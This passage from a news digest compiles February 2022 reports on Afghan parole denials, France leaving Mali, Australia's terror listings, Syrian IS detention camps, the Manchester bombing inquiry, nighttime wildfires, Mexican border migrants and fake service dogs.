U.S. Marine Corps who hired an immigration law firm to prepare the applications for the Azizi family.</p> <p>The agency said it had increased fivefold the number of adjudicators reviewing applications, given the surge in filings. Before the Afghan crisis, about 2,000 people a year applied for humanitarian parole, and 500 to 700 were approved, often for urgent medical treatment or to visit a dying relative.</p>

“Humanitarian parole is not intended to replace established refugee processing channels such as the U.S. Refugee Admissions Program, which is the typical pathway for individuals outside of the United States who have fled their country of origin and are seeking protection,” the agency said in a statement.

Under the refugee program, it takes several years for people to be admitted to the United States. It also takes many years for legal U.S. residents, like Mr. Azizi, to sponsor their families for admission.

For many of those waiting for emergency approvals, an association with the U.S. mission has made it impossible for them to remain at their homes in Afghanistan; they are either in hiding or are living illegally in other countries, in danger of being sent back.

“The refugee resettlement program is overwhelmed and lacks resources because of all the cuts the prior administration made,” said Steve Yale-Loehr, an immigration law professor at Cornell Law School who directs an Afghan law clinic that has filed dozens of parole applications, none approved so far.

In the statement by Citizenship and Immigration Services, it said the agency had been granting parole when warranted. “In some limited circumstances, protection needs are so urgent that obtaining protection via the U.S. Refugee Admissions Program is not a realistic option,” it said.

The bar for qualifying is very high as the government tries to determine which applicants are in genuine imminent danger and which could wait to apply for ordinary refugee status. Applicants must provide documentation from a credible third-party source that specifically names the targeted person and details the potential harm that person faces. Lawyers helping applicants file the claims said the standard was higher than what is generally applied to parole applicants and would be very difficult for most people fleeing a country in conflict to meet.

“This criteria makes it nearly impossible for the vast majority of cases to be granted,” said Ms. Lilien, who has received 13 denials on the applications she has submitted and is waiting for decisions on an additional 78, almost all of which were filed before mid-September.

A letter sent on Tuesday to the Homeland Security secretary, Alejandro Mayorkas, and signed by more than 200 representatives of legal-service providers, resettlement agencies and university law clinics called on the Biden administration to establish a streamlined, efficient system to bring vulnerable Afghans to the United States.

“While the military evacuation efforts ended with the withdrawal of U.S. troops in August 2021, at-risk Afghans’ dire need for protection has not,” the letter said.

“In keeping with its promises, the administration must act with urgency to utilize all tools at its disposal, including parole, to provide protection from persecution and violence in Afghanistan due to the accelerating human rights and humanitarian crisis,” the letter said, citing extrajudicial killings, disappearances and other human rights abuses.

It pointed out that after the fall of Saigon, the United States established a parole program to swiftly evacuate more than 140,000 Vietnamese refugees.

A majority of the 76,000 Afghans evacuated during the U.S. pullout were admitted on arrival with humanitarian parole, many of them people who might also have qualified for special immigrant visas issued to people who had worked directly for the U.S. forces, like Mr. Azizi, or for refugee status after performing jobs that advanced the goals of the U.S. mission.

Mr. Azizi said the Taliban had come searching for his family members after they abandoned their home. Soldiers had questioned the neighbors about their whereabouts and left a notice that ordered the family to report to Taliban headquarters upon its return, he said.

Mr. Azizi's mother, Sima Barakzai, had been employed as a U.S. contractor as a cook, according to documents she submitted as part of her application. His sister, Sharareh, was trained and recognized by the U.S. Agency for International Development for her work to promote women's rights, and her parole application, also reviewed by The Times, included a photograph of her shaking hands with Ashraf Ghani, the former Afghan president.

In all, four family members had been issued an exit pass by U.S. military authorities in Afghanistan that entitled them to board U.S. evacuation flights, but they were unable to get through the gates at the airport in Kabul before the last flights departed.

As weeks turned into months without any decision on their applications, Mr. Brozak, the retired military officer who was aiding them, enlisted the help of Senator Bob Menendez of New Jersey, who personally reached out to the Homeland Security Department, which oversees Citizenship and Immigration Services, on the family's behalf. To no avail.

On Jan. 27, the family members were dismayed to receive denial letters. A form letter, which did not address the particulars of their cases, stated that parole was granted to people "at risk of severe targeted or individualized harm" in the country where they were located, or who risked imminent return to a country where they would be harmed.

In Pakistan, they are leading a precarious existence, unable to work to support themselves and trying to stay under the radar because of their illegal status. They have had to move four times.

During an outing to buy food recently, Mr. Azizi's 19-year-old brother was beaten up by people demanding bribes to refrain from reporting the family to authorities.

Mr. Azizi, who has been working as an Uber driver while taking computer science classes, said he had put his life in California on hold as he devoted himself to assisting his family.

"My heart is in so much pain. What will life be worth for me if I lose a member of my family?" said Mr. Azizi, weeping during an interview.

"I participated in big military operations. I risked my life for this country," he said. "But it just abandoned my family."

[Return to Top](#)

HEADLINE	02/17 France, allies withdraw forces from Mali
SOURCE	https://www.nytimes.com/2022/02/17/world/africa/mali-france-withdrawal.html
GIST	<p>France and several of its Western allies said on Thursday that they would begin a "coordinated withdrawal" of their military forces from Mali, accusing the junta that recently came to power there of obstructing antiterrorist operations that the French Army has been spearheading in the Sahel region over the past decade.</p> <p>Jihadist groups have spread across the West African country and to its neighbors, even as a coalition of Western and African militaries has tried to fight them. Nevertheless, France, its partners in Europe and Canada "have taken the decision to withdraw their military presence in Mali," said President Emmanuel Macron of France.</p> <p>The countries said in a statement that they remained "committed to supporting Mali and its people in their efforts to achieve sustainable peace and stability," but that the country's new leaders were responsible for "multiple obstructions," and that "the political, operational and legal conditions are no longer met to effectively continue their current military engagement in the fight against terrorism in Mali."</p> <p>The statement said that the countries would "continue their joint action against terrorism in the Sahel region, including in Niger and in the Gulf of Guinea, and have begun political and military consultations</p>

with them with the aim to set out the terms for this shared action by June 2022.” President Emmanuel Macron of France was expected to provide more details of the move at a news conference on Thursday.

France sent troops into Mali, a landlocked West African country, in 2013 to beat back armed Islamists who had taken over its northern cities. The campaign was only supposed to last a few weeks.

[Nearly ten years later](#), thousands of French soldiers are still there, housed in sprawling air-conditioned bases, operating aircraft including drones and traversing the scrub in state-of-the-art armored cars. They are searching for an elusive enemy, armed with AK-47s and moving on motorcycles, that is growing in reach and number, despite the stream of jihadist leaders that France reports it has killed.

The military coalition, led by France and Mali but comprising other West African and European armies too, had long been failing to stem the tide, and worsening security was one of the factors that led to [Mali’s coup in August 2020](#).

[Return to Top](#)

HEADLINE	02/17 Australia: Hamas, far-right to terror list
SOURCE	https://www.seattletimes.com/nation-world/australia-to-list-hamas-and-us-far-right-group-as-terrorists/
GIST	<p>CANBERRA, Australia (AP) — Australia on Thursday said it had added the U.S.-based far-right extremist group National Socialist Order and planned to add the entirety of the Palestinian group Hamas to its list of outlawed terrorist organizations as concerns rise about radicalized children.</p> <p>The National Socialist Order, formerly known as Atomwaffen Division, joins Islamist groups Hay’at Tahrir al-Sham and Hurras al-Din in being added to the list, Home Affairs Minister Karen Andrews said.</p> <p>Hamas’ military wing, Hamas’ Izz al-Din al-Qassam Brigades, has been listed as a terrorist organization since 2003.</p> <p>The National Socialist Order, which advocates a global “race war” and the collapse of democratic societies, joined the list on Thursday, bringing the number of outlawed groups to 28.</p> <p>The two Islamist groups, both active in the Syrian civil war, will be listed in April.</p> <p>Andrews has written to state governments to finalize the listing of Hamas as soon as possible.</p> <p>“The views of Hamas and the violent extremist groups listed today are deeply disturbing, and there is no place in Australia for such views,” Andrews said.</p> <p>“It’s vital that our laws target not only terrorist acts and terrorists, but also the organizations that plan, finance and carry out these acts,” she added.</p> <p>Israeli Prime Minister Naftali Bennett congratulated his Australian counterpart Scott Morrison for the Hamas decision.</p> <p>“I thank my friend, Australian P.M. Scott Morrison, for acting on this issue after the conversation we had on this important matter. It is another important step in the global fight against terror,” Bennett said in a statement.</p> <p>Israeli Foreign Minister Yair Lapid also thanked Australian Ambassador to Israel Paul Griffiths for what he described as a “significant step” in Israel’s international effort to curtail terrorist organizations.</p> <p>Zionist Federation of Australia President Jeremy Leibler said the Hamas listing made clear Australia’s “absolute rejection of hatred and terrorism.”</p>

“There is absolutely no doubt that Hamas in its entirety meets the definition of terrorist organization,” Leibler said in a statement, adding that the decision aligns Australia with the United States, European Union, Britain and Canada.

The Australia Palestine Advocacy Network, a national coalition of Australians who support Palestinian rights, disagreed with Hamas’ political wing being designated a terrorist organization.

“The government has failed in its duty of searching for a peaceful solution and has shown it applies one set of rules to Palestine and another to Israel,” Network President Bishop George Browning said.

The designation does nothing to advance the cause of peace and will only create more suffering for the 2 million people currently living under a 15-year Israeli blockade, the Network said in a statement.

The National Socialist Order is only the third far-right group to be designated by Australia as a terrorist organization.

The Base, a neo-Nazi white supremacist group formed in the United States in 2018, was listed in December and the British-based Sonnenkrieg Division was listed in August.

Mike Burgess, director general of the Australian Security Intelligence Organization, the nation’s main domestic spy agency, said last week that pandemic restrictions in Australia had sent online radicalization “into overdrive” in recent years as isolated people spent more time online.

The proportion of new counter-terrorism investigations involving minors had increased from to less than 3% to 15% in only a few years, Burgess said in his annual threat assessment.

At the end of 2021, minors represented more than half of the spy agency’s priority counter-terrorism investigations, he said.

[Return to Top](#)

HEADLINE	02/16 Fear, stress: Afghanistan media landscape
SOURCE	https://abcnews.go.com/International/wireStory/fear-runs-afghanistans-hazardous-media-landscape-82947293
GIST	<p>KABUL, Afghanistan -- Fear accompanies reporter Banafsha Binesh from the moment she leaves her Kabul home each morning for the newsroom at Afghanistan’s largest television station.</p> <p>It starts with the Taliban fighters, who roam the streets of the capital with weapons slung over their shoulders. Binesh, 27, says she is frightened by their reputation of harshness toward women, rather than any unsavory encounter.</p> <p>Dread and uncertainty mount with every new report of a fellow journalist having been detained, interrogated or beaten by Taliban fighters.</p> <p>“Working is full of stress,” said Binesh, who works for TOLO-TV.</p> <p>Since taking power six months ago, the country’s new rulers have also issued directives requiring journalists to keep Islamic principles in mind and work for the good of the nation — rules that would seem aimed at quashing independent reporting.</p> <p>Bilal Karimi, a deputy spokesman for the Culture and Information Ministry, said criticism is tolerated, but must be constructive.</p> <p>He blamed attacks on journalists — often while they cover women’s protests, explosions, and other news — on over-zealous Taliban. Other arrests of journalists were not linked to their work, he claimed.</p> <p>Steven Butler from the Committee to Protect Journalists said it’s not clear yet if attacks on journalists are systematic or “just semi-random events initiated by some Taliban official who has a grudge.”</p>

“I would describe the landscape as full of hazards that are not fully predictable,” said Butler, the Asia program director at CPJ. “Journalists are being selectively picked up, interrogated about their coverage, beaten, and then released after hours or days.”

Most recently, two journalists working for the U.N. refugee agency were held for six days and released last week after the U.N. raised alarms. The Taliban said they released the journalists after confirming their identities.

Butler expressed concerns that Taliban intelligence officials are becoming more “hands-on” and have increasingly been implicated in arrests and disappearances.

In one trend-bucking development, TOLO now has more female than male journalists, both in the newsroom and out on the streets.

TOLO news director Khpolwak Sapai said he made a point of hiring women after nearly 90% of the company’s employees fled or were evacuated in the first days of the Taliban takeover.

He said female staffers have not been threatened by the Taliban authorities but have at times been denied access because of their gender.

In one case, a TOLO reporter was barred from a briefing by the acting minister of mines and petroleum when he found out the station had sent a woman to the event.

Sapai said TOLO promptly does stories on such incidents.

The ranks of journalists in Afghanistan thinned dramatically during the chaotic days of the Taliban takeover in August. Tens of thousands of Afghans fled or were evacuated by foreign governments and organizations.

A December survey by Reporters Without Borders and the Afghan Independent Journalist Association found that 231 out of 543 media outlets had closed, while more than 6,400 journalists lost their jobs after the Taliban takeover. The outlets closed for lack of funds or because journalists had left the country, according to the report.

During their previous rule in the late 1990s, the Taliban had no opposition and banned most television, radio and newspapers. Foreign news organizations were able to operate at that time, along with some local outlets.

Faisal Mudaris, a broadcast journalist, blogger and YouTube personality, spent eight days in Taliban custody, where he said he was beaten and threatened.

Mударis is from the restive Panjshir Valley, the only holdout against Taliban rule during their first weeks in power. Mudaris fears his ethnicity as a Panjshiri, not his journalism, landed him in a Taliban lockup. He believes he remains at risk, fearing that no one can hold the Taliban accountable.

Journalists from other ethnic minorities, including the Hazaras who have long faced discrimination from successive governments, also worry. In the first months after the Taliban takeover, several journalists of a small outlet called Etilaat Roz were arrested and beaten. Both were Hazaras.

Karimi denies anyone is targeted because of their ethnicity and promises investigations will be carried out against offending Taliban. CPJ’s Butler said his advocacy group has no way to measure attacks based on ethnicity.

Still, there appears to be some room for critical reporting under the Taliban. For example, TOLO repeatedly aired a clip of Taliban fighters beating a former Afghan soldier.

Within days, top Taliban leader Hibatullah Akhunzada warned Taliban fighters against excesses, saying they would be punished. He reiterated a promise of amnesty for former soldiers.

“Did the news story bring about a change? I want to think it contributed to it,” said Sapai, the TOLO news director.

Sapai said views among the Taliban range from those who cling to the strict views of the past, to those who want a more open society that embraces education and work for all — including girls and women.

He believes domestic and external pressures on the Taliban should not be underestimated. “Most of the Taliban leadership accept that Afghanistan and the world is different now and it’s hard to turn back the clock but still the differences exist among them,” he said.

It’s the uncertainty about which view will prevail that has journalists worried.

“The fear that we have is for the day in the future when the Taliban will prevent us from the work that we do,” said TOLO reporter Asma Saeen, 22. “This is my big fear and my constant anxiety.”

She has no recollection of the harsh Taliban rule of the 1990s and said she has been able to work unhindered. Yet she resents the many restrictions imposed on girls and women, including banning teen-age girls from returning to school, at least for now, and many women not being allowed to return to their jobs.

Both Saeen and Binesh want to leave Afghanistan, saying they long for the freedoms they enjoyed before the Taliban swept to power.

“We were not expecting that after 20 years of democracy to face these many restrictions,” said Binesh. “I am ready to go.”

[Return to Top](#)

HEADLINE	02/16 Crisis looms in Syria detention camps, jails
SOURCE	https://abcnews.go.com/International/wireStory/crisis-looms-syria-camps-jails-holding-foreign-nationals-82948184
GIST	<p>ROJ CAMP, Syria -- It was night when Zakia Kachar heard the sounds of footsteps approach her tent in a detention camp for foreigners affiliated with Islamic State group extremists. With rocks in their hands, the wives of IS fighters had come for her.</p> <p>She fled with her children to another area of the Roj Camp in northeast Syria. “They wanted to kill me,” she said.</p> <p>Earlier that day, the dual Serbian-German national had fought back in an altercation with a camp resident disapproving of her wearing makeup. The woman had bitten her, and Kachar slapped her in defense.</p> <p>Such clashes between hard-line IS supporters and those who have fallen away from the group’s extreme ideology are exacerbating security challenges for the U.S.-backed, Kurdish-led Syrian Democratic Forces, or SDF, which runs Roj and other camps for IS detainees.</p> <p>The SDF had spearheaded the fight against IS, driving the militants from their last sliver of territory in 2019. Three years later, tens of thousands of foreign IS supporters remain in SDF-run camps and detention centers, with their home countries largely unwilling to repatriate them. The foreigners had come to Syria from around the world, some with their children in tow, to join Islamic State’s so-called “caliphate.”</p> <p>The SDF now points to the lockups—crammed with restless detainees, some with a history of violence—as a chief source of instability across the region they control.</p>

A deadly prison attack in the Gweiran neighborhood in the town of Hassakeh last month sharpened the focus on the foreigners' uncertain futures and the limits of their Kurdish captors to supervise them. The assault killed 121 security personnel and took authorities nearly two weeks to contain.

Stretched thin amid an economic crisis and rising threats from IS sleeper cells, the Kurdish-led administration is renewing calls for countries to repatriate their citizens.

"We are struggling," said Mazloun Abdi, the region's top security chief and commander of the SDF.

NO WAY OUT

In Roj camp, home to some 2,500 women and children, a tune popular among youth in North America resonates.

For a few minutes, the melody cuts through the din of daily life, overpowering the sounds of U.N.-emblazoned tents flapping in the wind and children playing.

The music—a soulful song called "Later" by Somali-Canadian singer A'maal Nuux—came from the tent of Hoda Muthana, an Alabama native whose Supreme Court appeal to return to the U.S. with her 4-year-old child was denied last month. The lyrics describe the sisterhood of women on a long commute to visit their partners serving time in prison.

Her neighbor is Shamima Begum, a British-born woman stripped of her U.K. citizenship in a case that drew international attention and raised questions about the moral responsibilities of countries toward IS members.

Their days are marked by monotony. Mothers cook, clean and wait for word on their repatriation appeals.

Several women in the camp in Hassakeh province removed the black garb of IS wives, instead wearing jeans, baseball caps and makeup forbidden during IS's brutal rule. They are kept separate from their hardline neighbors who frequently attack them.

Tents, made of flammable cotton canvas, have been burned down to sow chaos.

Neither Serbia nor Germany has given Kachar any indication they would be willing to repatriate her or her five children, ages six to 16.

Kurdish authorities said up to 200 security personnel have been added to maintain Roj Camp since the Gweiran prison attack.

"Our security forces are present, but the problem is the ideology of some of the women," said one official in Roj, who spoke on condition of anonymity because they were not authorized to brief the press.

Kachar's daughter was only 11 when they followed her husband to Syria from Stuttgart, Germany in 2015. "I want to go home, it is enough. My children need a normal life," she said.

'A SHARED RESPONSIBILITY'

It is al-Hol Camp, many times larger than Roj with 56,000 refugees and displaced people, where security is the most dire and humanitarian needs most acute.

There is no law and order and women there have been killed just for removing their niqab, the veil worn by conservative Muslim women, security officials said.

Most, though not all, non-Arab foreigners are housed in an annex of al-Hol. The United Nations says there are 8,213, of whom two-thirds are minors. Another 30,000 are Iraqi nationals.

Kurdish security officials and non-governmental organizations present in the camp said security began deteriorating in March 2021 with targeted killings of camp community leaders.

Many reported increased cases of extortion, blackmail and death threats toward security and NGO workers.

Kurdish authorities say the camp is a breeding ground for IS, with active sleeper cells. Aid workers attributed the growing criminal activity to desperation arising from widespread poverty, stigma and limited freedom of movement.

Recent violence spurred by the smuggling of weapons and other illicit activity has also raised questions over the complicity of SDF authorities. Abdi, the SDF commander, acknowledged there were some incidents of corruption.

“Some trucks for example, are supposed to be water trucks but they are smuggling out human beings. And of course, if they can take out humans, they can bring in weapons,” he said.

The SDF has been in talks with international NGOs over new security arrangements for al-Hol that would divide the camp into sections, limit movement between areas, and erect fences, checkpoints and watchtowers. Many aid workers fear this would turn the camp into a de facto prison for women and children.

To decrease the pressure on al-Hol, at least 300 families were recently transferred to Roj Camp. Another 150 families are expected this year.

“It has caused us more issues because these women are encouraging others to be radical like them,” the Roj camp official said.

Some countries are taking their nationals back, gradually. The Netherlands and Sweden recently repatriated several women.

Abrar Muhammed, 36, a detainee and former IS logistics manager, believes his wife may have been among them. The Swedish citizen was informed in passing by a prison guard, he said.

Muhammed hasn’t seen his wife since January 2019, when he fled the IS ranks and was detained at an SDF checkpoint, months before the fall of the group’s last territorial foothold, the village of Baghouz in northeastern Syria. He has been jailed in one of the 27 detention centers across northeast Syria ever since.

“I want to go back, face justice in Sweden,” Muhammed told The Associated Press in a facility in Hassakeh. “In a country with laws.”

Abdi said the international community has to take some responsibility for the prisons and camps.

“It’s not just our problem, we share the burden. This is our demand.”

[Return to Top](#)

HEADLINE	02/16 Germany national remembrance day 11 Mar.
SOURCE	https://abcnews.go.com/International/wireStory/germany-mark-victims-terrorism-annually-march-11-82923717
GIST	<p>BERLIN -- The German government said Wednesday that the country will formally commemorate the victims of terrorism every March 11, starting next month.</p> <p>The date marks the anniversary of 2004 bomb attacks in Madrid and is already commemorated each year by the European Union.</p>

	<p>Germany's top security official said the Cabinet approved adopting the date for a national remembrance day for the victims of terrorist violence.</p> <p>Interior Minister Nancy Faeser said acts such as the Islamic extremist attack on a Berlin Christmas market in 2016 and far-right killings in Hanau and Halle had shaken Germany, too.</p> <p>“Islamist, far-right and far-left attacks have caused great suffering,” she said. “We want to make the state and society more aware of the fate of the victims and their relatives.”</p> <p>Federal buildings will mark the day by flying flags at half-staff.</p>
Return to Top	

HEADLINE	02/14 Inquiry: 3yrs intel on Manchester bomber
SOURCE	https://www.theguardian.com/uk-news/2022/feb/14/police-intel-manchester-arena-bomber-years-before-attack-inquiry-told-salman-abedi-text-messages
GIST	<p>Intelligence that linked the Manchester Arena bomber to another suspected terrorist was uncovered by detectives three years before the 2017 bombing but was never passed on for further investigation, an inquiry has heard.</p> <p>Detectives found the name, photo and phone number of Salman Abedi during an investigation into Abdalraouf Abdallah in 2014.</p> <p>They found Abedi had exchanged about 1,300 text messages with Abdallah in November 2014. In one message, Abedi wrote: “By Allah ... every day, on every kneeling I ask my Lord for martyrdom.”</p> <p>Abedi also described non-Muslims as “dogs” and “kuffars” – a derogatory Arabic term for unbelievers – and shared an image of the currency used by Islamic State in Syria, “not under control of the west”. Abedi was named only as “Salman” in Abdallah’s phone.</p> <p>On Monday, Frank Morris, a former senior investigating officer at North West Counter Terrorism Policing (NWCTP) who found the text messages, told the inquiry into the bombing that the intelligence should have been passed on for “development” but was not.</p> <p>The text messages were only traced back to Abedi after he killed 22 people and injured hundreds more when he detonated a suicide vest at the end of an Ariana Grande concert on 22 May 2017.</p> <p>The inquiry has previously heard intelligence was received by MI5 about Abedi in the months before the bombing but was assessed at the time to relate to possibly non-terrorist criminality. In retrospect this intelligence was highly relevant to the planned attack, the inquiry has been told.</p> <p>Morris said there was nothing extraordinary in Abedi’s text exchanges with Abdallah, who was convicted and jailed for terrorism offences in 2016 after being at the centre of a network that helped British Muslim men travel to Syria or Libya to fight.</p> <p>Morris said, however, that more should have been done to establish Abedi’s identity.</p> <p>He told the inquiry: “It went to the CPS [Crown Prosecution Service], they did not ask. Nobody ever asked who this Salman was. So with hindsight, of course it should have been put in, but at the time I did not think it should have been.”</p> <p>The inquiry was told “modest policing efforts” would have identified who “Salman” was and officers could have referred him to the Prevent programme for deradicalisation or for further investigation.</p>

	<p>Morris said four or five people, including detectives, intelligence analysts and himself, were aware of the information but did not flag it up for further inquiries.</p> <p>The “Salman” exchanges were among 14,500 contacts on the phone and Morris said that at that time in 2014 he was personally running 10 to 14 operations and the counter-terror unit up to 110 separate investigations.</p> <p>He said: “At that time this was commonplace and I know I keep saying it, this was not unusual. That’s the issue with intelligence – it’s very subjective.”</p> <p>Sir John Saunders, the chair of the inquiry, said that had police linked the phone number of Salman with his identity, this information could have “informed future decisions”.</p>
Return to Top	

Suspicious, Unusual

[Top of page](#)

HEADLINE	02/16 Fires more intense at night, lasting longer
SOURCE	https://www.washingtonpost.com/weather/2022/02/16/fire-intensity-night-study/
GIST	<p>When the Cameron Peak Fire ignited in northern Colorado in August 2020, few could foresee its longevity. As it burned, summer turned into winter. Nearly a semester of school passed. By the time the fire was fully contained in December, it had become the state’s largest on record.</p> <p>In recent decades, fires have become more intense and longer lasting amid rising temperatures linked to human-caused climate change. A key influence on their growing duration? Their increasing ability to survive the night, when temperatures typically dip and humidity rises.</p> <p>A study published Wednesday in Nature shows that a trend toward warmer and drier conditions after sundown is helping blazes withstand what should be unfavorable conditions — making fire containment more difficult for responders. Crews are less able to rely on relief in fire intensity previously offered by nighttime cooling.</p> <p>“The fact that the [Cameron Peak] fire was burning for months, to me is an indication that we were essentially able to pass through the night,” said Jennifer Balch, the director of Earth Lab at the University of Colorado at Boulder. “We were able to burn from day to night, from day to night, and that fire burned over 200,000 acres.”</p> <p>Cameron Peak isn’t the only notable example of nighttime fire growth. During Australia’s 2019-2020 bush fire season, fires seemed to spread more rapidly at night than during the day for the Snowy Complex Fire in the southeast of the country. In fact, about three-quarters of satellite fire detections occurred at night.</p> <p>In 2017, the Tubbs Fire in Northern California burned across 36,000 acres and became the most destructive fire in the state at that time. Satellite data showed more than half of the fire detections occurred at night.</p> <p>Across burnable lands globally, the annual number of flammable nighttime hours increased by 110 hours over the past four decades — allowing five additional nights when flammability does not cease, the study stated. It also found that nighttime fires globally increased in intensity by 7 percent from 2003 to 2020.</p> <p>“Our nights have been warming more than our days have been warming as a function of human-caused climate change, and that’s having a direct impact on fires,” said Balch, the lead author of the study. “We’re losing the brakes on fires in terms of the cooling and moisture accumulation that happens at night.”</p> <p>Balch and her colleagues analyzed satellite and hourly climate data for more than 81,000 fires globally to pinpoint when conditions become hot and dry enough for fires to burn at night.</p>

Specifically, the team measured vapor pressure deficit (VPD), which essentially indicates how fast the atmosphere is sucking moisture out of vegetation and fuels. A lower deficit signifies cool and moist air, while a high deficit means the air is hot and dry and conducive to burning. The team found the daily minimum vapor pressure deficit increased by 25 percent from 1970 to 2020.

“The two things that change that ability to hold moisture are temperature, or how hot it is, and how much moisture is already in the air,” Balch said.

Some ecosystems were hit harder by nighttime activity than others. For instance, nighttime fire detections were dominant in temperate evergreen forests, where 38 percent of fire detections occurred at night. Cropland fires, however, mainly occurred during the daytime.

“In really hot, dry places like desert systems, you have really high vapor pressure deficit,” said Balch. “Then in places that are hot and moist compared to a desert ... vapor pressure deficit goes down a little bit just as a function of the moisture that’s already in the air.”

The increase in nighttime fire activity was not necessarily surprising, said co-author John Abatzoglou at University of California Merced, but “the magnitude of the change was noteworthy” in certain regions.

For example, the U.S. West stood out against the global average. Nighttime fire intensity from 2003 to 2020 increased by 28 percent in the region. The West also experiences around 11 more flammable nights compared to four decades ago.

Grasslands and savannas in South America, Africa and Asia and open shrub lands in Australia also saw an increase in the number of flammable nighttime hours.

“People tend to pay more attention to conditions during the daytime, when fires are most active. But there’s not enough attention put on nighttime, when cooler conditions tend to slow fires down or even extinguish them completely,” said Adam Mahood, postdoctoral researcher at Earth Lab and co-author on the paper, in a statement.

The effects of nighttime warming on fire activity adds to a growing number of factors, linked to human-caused climate change, that are intensifying fires, increasing their duration and extending their season. In California, 18 of the top 20 largest wildfires in state history have occurred in the past two decades and many now consider the fire season, previously mostly restricted to the summer and fall, as year-round. All 20 of Colorado’s largest wildfires on record have occurred in the past 20 years.

The study states that continued nighttime warming from human-caused climate change “will promote more intense, longer-lasting and larger fires” in the future.

Abatzoglou said solutions to reduce wildfire impacts during the day or night include more preparation by communities in fire prone locations, scaling up intentional and beneficial offseason fires to better manage forests and fuels and taking steps to mitigate our effect on the climate.

“Climate mitigation measures can bend the curve on increasing fire weather,” said Abatzoglou.

[Return to Top](#)

HEADLINE	02/16 Migrants Mexico border sew mouths shut
SOURCE	https://www.washingtonpost.com/world/2022/02/16/migrants-mexico-protest/
GIST	A group of migrants at Mexico’s southern border sewed their mouths shut Tuesday to demand that immigration authorities grant them passage toward the U.S. border.

Photos published by Reuters show the migrants, mostly from Central and South America, using needles and plastic thread to tie their lips together in a bid to pressure Mexican authorities to expedite their asylum claims.

The harrowing images are another sign of the desperation of migrants stuck in the southern city of Tapachula, at the border with Guatemala. Backlogs mean some wait months for asylum claims to be processed and humanitarian visas to be granted to legalize their stay in the country.

The dramatic protest also reflects an increasingly tense situation in Tapachula, where a recent massive influx of thousands of migrants from Central and South America, Haiti and other countries has overwhelmed Mexican authorities.

The number of people applying for refugee or asylum status in Mexico has nearly doubled since 2019, reaching an all-time high of 131,448 claims in 2021 — 39 percent of which came from Haitians, according to government data released last month.

Roughly 70 percent of the asylum claims are processed in Tapachula, where the country's largest immigration center is located.

Several migrants who participated in the protest told journalists that they felt a need to express their mounting frustration over delays in getting their claims processed.

"I got an appointment in three or four months and I don't have the money to stay in this city for that long," Rafael Hernandez, from Venezuela, told [AFP](#).

Others said they were carrying out the dramatic action to shine a light on the difficult conditions they are living in, with many sleeping in parks and on street benches for weeks and relying on humanitarian aid for food. According to Reuters, a dozen people participated in the protest.

"I'm doing it for my daughter," Yorgelis Rivera of Venezuela told [the news agency](#). "She has not eaten anything in the last few hours and I see no solution from the authorities."

"We are like prisoners here," Rivera added, saying she has been waiting for a response from Mexico's migration agency for more than a month.

In a [news release](#), Mexico's National Institute of Migration, the agency overseeing immigration matters, characterized the migrant mouth-sewing protest as "senseless."

"It is very concerning that these measures were taken with the consent and support of those who call themselves their representatives, with the intention of pressuring migration authorities on a service that is already being provided," the statement read.

Mexican immigration authorities said they are dealing with asylum requests and giving priority to "vulnerable groups like children, adolescents, pregnant women, crime victims, people with disabilities and senior citizens."

In recent years, Mexico has faced mounting pressure from the United States to stem the massive flow of migrants fleeing violence, poverty and climate change, and prevent them from reaching the U.S-Mexico border.

In return, the Mexican government has repeatedly urged the Biden administration to increase funding for Mexico and Central America — where most of the migrants come from — to create more jobs and deter migration.

During the 2021 fiscal year, U.S. authorities took more than 1.7 million migrants into custody along the Mexico border, an all-time high. Arrests by the Border Patrol also reached the highest levels ever recorded, according to U.S. Customs and Border Protection data obtained by The Washington Post.

While migrants rarely sought protection in Mexico in the past, stricter border enforcement at the U.S.-Mexico border and a slowdown in U.S. asylum processing has led to a spike in people now claiming asylum in Mexico. According to migrant advocates and human rights groups, this has further strained an already flawed immigration system.

Raymundo Tamayo, Mexico director for the International Rescue Committee, a humanitarian aid group, said the “exponential growth” in the number of migrants seeking protection in Mexico, either to stay in the country or continue north, has posed significant financial and logistical challenges to Mexico’s immigration system.

“While Mexico has migration policies that align with international asylum laws, in practice, the reality is very different,” Tamayo said. “The asylum system has been completely surpassed.”

Dana Graber Ladek, chief of mission in Mexico with the U.N. International Organization for Migration, said the group has seen an unprecedented number of individuals arriving in Mexico, not only from Central and South America, but from as far as Africa and Asia.

Graber said the “drastic” measures taken by migrants Tuesday “reflects a lack of migration alternatives for these individuals who are applying for asylum, even if they might not qualify for it.”

“The asylum system is oversaturated at this point, and this is precisely why we are looking for alternatives working with the government of Mexico, hoping to identify ways to change their visa system and offer work permits for individuals who are interested in staying in Mexico,” she added.

[Return to Top](#)

HEADLINE	02/16 Air travelers with fake service dogs
SOURCE	https://www.theguardian.com/lifeandstyle/2022/feb/16/fake-service-dogs-emotional-support-animals-airplanes
GIST	<p>Victor Hurtado, a staff member for the secretary of the army, was waiting for a connecting flight in the San Francisco airport when he was suddenly attacked by an aggressive brown poodle. The dog, teeth bared, lunged in his direction, ready to bite.</p> <p>A bloody outcome was only avoided because Hurtado’s mobility dog, a black labrador named Holly, had been trained to avoid escalation when confronted with violent behavior.</p> <p>Holly was paired with Hurtado nearly three years ago to assist him in living with a cognitive disability and trauma associated with his time in the army. She has undergone years of training to not only address his specific needs, but to behave appropriately and safely in public spaces.</p> <p>Yet, despite the vast difference in the two dogs’ behavior, they did have one characteristic in common: both wore service dog vests.</p> <p>The incident left Holly shaken and unable to perform her life-saving duties even after boarding the airplane, momentarily leaving Hurtado without his disability assistance support – all because someone felt the need to pretend their pet dog was a service animal. “It breaks my heart, really,” says Hurtado. “I feel like they think our animals are a joke.”</p> <p>An epidemic in the sky</p> <p>Hurtado’s story is not uncommon. In the past two decades, the number of passengers taking their dogs on planes has surged due to growing awareness of the Americans with Disabilities Act, which states businesses are restricted from asking for proof that a service dog is indeed a service dog.</p>

This legal protection was designed to safeguard the most basic dignities of disabled people – imagine a wheelchair user being questioned about the legitimacy of their chair – but led to widespread exploitation of this loophole.

These days, unscrupulous pet owners obtain [emotional support animal](#) (ESA) certificates, which allow them to travel with their pets, who help ease symptoms of depression, anxiety and phobia. The number of delivered certificates has [risen by 1,000%](#) between 2002 and 2015, and a [further 200%](#) between 2015 and 2019.

While pets inarguably [provide emotional support](#) simply by being themselves, they are not trained to help someone with a disability navigate life, or taught how to behave appropriately in public. And since anyone can get an ESA certificate – all it requires is a note from a doctor, though buying them online is easily done – good dogs and bad dogs, sweet dogs and aggressive dogs all qualify for the title.

The problem became so severe that in December 2020, the Department of Transportation (DoT) [stiffened their rules](#) to allow only trained service dogs on planes, stating that it no longer considered an emotional support animal to be a service animal.

